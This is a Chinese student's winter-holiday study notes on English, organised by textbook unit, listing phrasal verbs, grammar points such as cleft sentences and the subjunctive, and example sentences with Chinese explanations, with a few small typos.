You are my way . in my way 挡路

If you will excuse me now.失陪以下(直译:如果你将原谅我的话)

Oh, there you are! 你到了!

There, here 遇人不到装,遇物倒装.

Eg: there comes the bus

There he comes.

Click it away 点击发送

语法

It is/was + 被强调部分 + that/who + 余下成分

Eg: it is toilet that Joe can't find in the bathroom.

我自己理解成: 那就是马桶,(什么马桶呢)Joe在浴室找不到的.

补:

Mean to do 打算做

Mean doing 意味着

一单元卷子

短语

Help sb. Out of sth. 帮某人摆脱困难

Eg: could you please help me out?\

Be loyal to sb. 对某人忠诚.

Much too + adj.

Too much + n.

Like/ hate to do 一时

~ ding 长久

语法

Wh~ + (do you think/believe/suppose) + 陈述句语序

Imagine + sth.

Doing (自己,imagine的人)

Sb. Doing sth.

Sb. To be

Alone 客观的独自 adj./adv. 必须后置

Lonely adj. 情感上的

一单元卷 续

单词与短语

Care for 喜欢;照顾

Care about 关心(例: 关心着装)

Get going 离开

Otherwise 否则 eg: otherwise he was going to be late.

At the moment = now/ at that time

所以用现在进行时

Carry out 执行

Be afraid of sth./doing 害怕,有顾忌

Be afraid to do 不敢,没有胆量.

At the moment 此刻

In a moment 一会儿以后(将来时)

For a moment 一会儿(延续性)

Very adj.

Just adv. 适当的/地 just (adj.) 正义的

Right adj.

Eg: he is a right/very/ person for this job.

Fast 强调人,物自身运动速度快

Quick 表示动作迅速;短时间完成;思维敏捷.

Rapid 动作急促

语法

省略句

Eg: who is he ?

A man calling himself smith.

原句: he is a man calling himself smith.

由于是calling,可以知道,即使省略了he is ,但是被省略部分依然是透明的存在于此,对于句子的影响依然存在.

为什么用calling呢?

Calling 属于 ing分词 带有主动意味

~ed 属于 ed分词 带有被动意味

注意不可数名词:

Fun eg: have fun ; what fun it is surfing the WWW.

Weather it was such cold weather.

Progress 不可数

I don't care , either = nor do I care.

(前面的句子是I don't know.)

Be to do 表示将来按计划做某事

Shut sb. Out of 把…人赶走

Eg: tom shut everybody out of the kitchen.

So that 目的状语从句

So…that… 如此以至于

Have sth. Do 让…做… eg: Thinking people have computer do.

Have sth. Done 被…做

报纸

一单元检测题

复数位于中心词 eg: match boxes

Look into 调查

Look after 照顾

Find out 找出

You guessed it. 你猜到了

It's none of your business.

这不管你的事.

The teacher told the students that since … 从句 since 因为

Develop interest in 培养兴趣

Newcomer 新人

With fresh new eyes 一新的视角看…东西

Eg: see our neighbors with new eyes.

The other 有范围

Other 全集

Fit in 相适应

Give up 放弃

Give in 投降

Hold one's head high 高昂…的头

相同点和不同点

如图，你看到的是我的QQ界面，大家看看有什么特别的没有？纯属巧合。（点击放大图片，否则看不到想看的）

寒假英语笔记整理11单元

Unit11

书后单词

Suggestion 90% 都是可数名词

Advice 100% 都是不可数名词

Suggest doing

Advise sb. To do sth.

Suggest/advise + 虚拟语气(从句) (should+动词原形)

Contain与include

前者是大东西里面包含了一个小东西 例如:书包里面包含有一本书

后者是同级别的范围问题 例如:到场的人中包含了….

In common with sb. 与…有共同

Variety n. [c] 多样性;种类;变化.

Various adj.

A variety of = different kinds of

Satisfy vt. 满足

Satisfaction n.

其相关的ED形容词和ING形容词分别表示人和物.

Desire n.愿望;vt.期望 作为名词时,可数的情况多一些.

n. eg: I have a strong desire for a piece of cake.

v. desire (sb.) to do sth.

Desire + (that) + 虚拟语气的从句(should+动词原形,should可省略)

A/the world of + n(可数不可数) 很多

Eg: there is a world of music.

Since then 从那时起

Eg: the blues has been part of American culture since then.

A way (for) sb. To do sth.

Of doing sth.

马上

The first time

The moment

The minute

Immediately

Pick put 挑选

Break a record 打破纪录

Keep a record of sth, 记录某物

Make records/a records 制作唱片

One's ~th birth. Eg: his eleventh birthday.

Turn into 变成;翻译

Turn over 翻过来

Turn up/down 调大/小

Turn out 生产;翻出来;结果是

Have sth. In mind 记在心里

Reach/come to/ arrive at / + a decision = decide

Have sth. In mind 记在心里 keep sth. In mind 牢记

Change one's mind 改变主意

Have sth. On one's mind 有…心事…在心中

语法 GRAMMER

Eg: you want to find a good song to dance to.

实际上是: dance to the song

Eg:　he likes singing to the piano.

什么时候用what什么时候用that

What只能引导名词性从句(所谓名词性从句就是在句子中是从句的那个部分如果不是从句,那一定是一个名词. 名词性从句:主语/表语/宾语/同位语)

不能引导定语从句

That 也是修饰名词性从句,引导名词性从句

两者最大的区别在于,that只能起引导作用,what还必须在那个从句中充当成分.这也是判断用哪一个的key.

所以,判断的关键在于主句中是不是缺成分.

现在完成进行时除了表post – now – future 这种情况以外,还可以表示某个动作一直进行直到说话的时候才刚刚结束.

Eg: you are out of breath, have you been running?

最新积累就远原则:

Along with (new!) together with as well as

寒假英语笔记整理 期末总复习

期末总复习

语法 GRAMMER

判定定语从句引导词的方法。

Eg:I shall never forget the years when I lived in the countryside with the farmers, which has a great effect on my life.

对于blank 1,在从句 I lived in the countryside中，不缺主语，不缺谓语，地点状语，而缺时间状语，所以可以知道句子中（从句）是修饰时间的，所以先行词是when。

 

强调句：it is…that…

Eg: it was in the street that I saw the girl who is called Mary.

 

Whose 在定语从句中也有指代"它的"

Eg: we bought a TV set, whose price was very reasonable.

这个时候whose就是指的电视机,不是人.

 

直接引语与间接引语

时态变化完全不用记,就是把现在一个等级的时态回到下一个等级.

Eg:现在完成时    过去完成时 (可想成:首先说此话必是过去,即说话说话也在过去,过去的过去就用过去完成时.)

词汇

Belong to 不及物! 所以没有被动.

寒假英语笔记整理10单元

Unit10

TEXT BOOK

Cut down 1 砍倒 2 降低 减少

Cut across 走近道

Cut of 1 切割 2 隔绝

Eg: cut of A from B 把A从B中隔离出来

Know of 听说 了解

Eg: do you know of any other endangerous animals?

Die out 完全熄灭;灭绝

Die away 声光减弱直到消失

Die off 相继死去

Die down 平息

Get down to doing 开始做…..

注: die的现在分词是dying

Be in danger of sth. /doing sth.

Be out of danger

Endanger (受到)危险的

Dangerous (对他人)危险的

Adapt oneself to + {环境} 某人自己适应…..

Adapt sth. To sth.

Adapt 改编 eg: the film is adapt from a novel

Species people sheep 单复数同形

As a result of 作为….的结果

Eg: he was late fir class as a result of the heavy traffic.

Present n. 礼物;现在

Adj. 出席的;到场的(后置定语)

现在的(前置定语)

Devote….to… 因为to是prep所以 + Ving

In common 共同

In common with 和…..一样

Have sth. In common with 有些相同

Be common to sb. …对…是常见的

Common sense 常识 sense n. 侦测;感应;感觉

A large amount of + n.[U]

不再

No more 数量上

No longer 时间上

Take a turn 转弯

是轮到...做…的时候了 : it is one's time to do

Take turns doing 轮流做某事

Take turns] to do

By turns (手段,方式)

语法GRAMMER

 

I turn teacher.

I become a teacher.

Alone adj. 后置 lonely adj. 后置

Become + adj.

分词(adj.)

n.

就近原则: there be ; either or ; neither nor.

就远原则: as well as; all together

虚拟语气:

一般现在时    一般过去时

一般过去时    过去完成时

一般将来时    主语+could/would +动词原形

特例: if I were you …

If there were…

短语词汇

阻止…做… keep sth. From doing sth.

Stop sth. (from) doing sth.

Prevent sth. (form) doing sth.

Take sb. On a tour of some place. 带某人参观某地

Eg: he takes us on a tour of Green Park in London.

Be used to doing sth. 习惯于

Used to do sth. 过去常常

At first 强调时间发生的先后顺序

First of all 强调事情的重要性

Take measures = take action/steps

Take sb.'s measure ,Take the measure of sb. 给某人量尺寸

Measure one's word 斟酌某人的用词

Make a big difference 有很大影响

Pick up 1 拾起 2 开车接人 eg: I will pick you up at 3:00 pm.

3 收听 eg: my radio can pick up VOA.

4 获得: I picked up some English in USA.

Pick out 分辩

At the present time = at present

Human beings 人类

Living beings 生灵

Call for 要求 call at 拜访

Make sense 有道理 eg: It really make sense.

In doubt about 对…产生怀疑

Make up 弥补 come out 开花; 出版

High 形象 adv. Eg: fly high. 高速飞驰

Highly 抽象 adv.

寒假英语笔记整理9单元

Unit9

Words of unit9

Item 还可以直接指新闻 此时为〔c〕

Agree on sth. 在。。。。上达成一致

当主语为 weather，food，water 时， 表示 。。。。。。适合。。。。。。

Agree to sth. 同意(计划,建议)

Press sb. To do sth. 强迫某人做某事

Press sth. on sb. 强加sth. 对sb.

Thought prep. 贯穿(时间 空间)

All over (空间)

Add A and B (加法) eg: Add 1 and 2 we can get 3.

Add sth. To sth. 增添

总计

Add up to +数词

In total/all

A total of + 数词

Eg: a total of 30 girls are in our class.

Last 最不可能的

最不合适的

最后的

(last 也可以为副词)

Absolutely adv. 绝对地

所以1 无比较级(根据意思)

2 不能有程度副词修饰 (根据意思)

Succeed in doing sth. 在….上取得成功

Textbook unit 9

By means, in ways eg: you are good at solving problem and thinking in new ways.

turn out 翻出;生产;结果是

Fit v. adj.

eg: he is fit for this job.

Everyday adj

Every day 时间状语

On the go 四处奔走

Electronic 电子的 eg: Electronic calendar

Remind of

About

That(+从句)

Eg: an electronic calendar will remind you about important dates.

遵守规定 obey/keep/follow the rules

语法 GRAMMER

One of + n pl.

The one of / the only of + n 单

READING [life on the go]

语法 GRAMMER

Dare

1 情态动词

1不用于肯定 2 dare+V 原型 3 dare 无人称变化 4 dare过去时 dared

Dare not = daren't

How dare you tell lies!

2 实意动词 n; vt

Dare (to) do sth.

I dare say 可成为插入语(首,中,末)

Eg: we I dare say ,will get the No.1

Case

In case of 万一

In case (that) + 从句

In case

Eg: you should take can umbrella in case

We can call for help in case of an emergency.

1 in no case 决不 (放句首要部分倒装)

Eg: we should give up in no case.

In no case should be given up.

2 in any case 无论如何

3 that/this case 如果是这样/那样的话

It is the time to do. 是….的时候了.

It is the time that+从句 (从句用过去时)

短语和词汇

A way of doing sth. = a way to do sth. ….的方式

Take step to do sth. 采取措施

Succeed in doing sth. 成功做某事

Take down 记下

Take over 接管

Break up 分裂

Break into 闯入

Break out 爆发(war, fire)

Defeat + sb. /sth. (很多如beat, win这样的词都是直接加sb.)

Break down 1 健康出问题 2 机器的故障 3 谈判失败

查字典

Look up sth. In a dictionary

Turn to the dictionary

Refer to the dictionary

Give a example of sth. 给一个….的例子

Be new to sb. 对…是新的

WORKBOOK OF UNIT 9

语法 GRAMMER

To do sth. 目的;将要

Doing 主动;正在

Done 被动; 完成

Now that 既然 conj

Eg: who will succeed in talking over now the governor has been dismissed.

副词应该放在行为动词之前,BE之后

Eg: the girl is well paid in the school.

词汇:

Remind of sb. Sth. 提醒某人某事

No more than 仅仅

Not more than 不超过 (可以想成超过是V所以否定用NOT)

Dream of = dream about

所谓 dare (to ) do 只有在否定句中才能去掉to

Take down 记下

Be in force 指法律生效

Break in 打扰

No wonder

No way 没门

No doubt 毫无疑问

Make full use of 充分利用

Eg: tom makes full use of his time to do his lesson

类似于under attack 是在被攻击状态下, under construction是在建设中

Will:意志力 well:水井

On the go 忙个不停 tired out 精疲力竭

At work 在工作中

With the development of the WWW, less communication is done by regular mails.

不能填as,因为as是prep时只有作为的意思,没有伴随的意思.

不能填for,是为了

不能填trough,是通过

Keep up with 跟上

Put up with 忍受

Catch up with 跟上(侧重于动作,专指在落后的状况下赶上)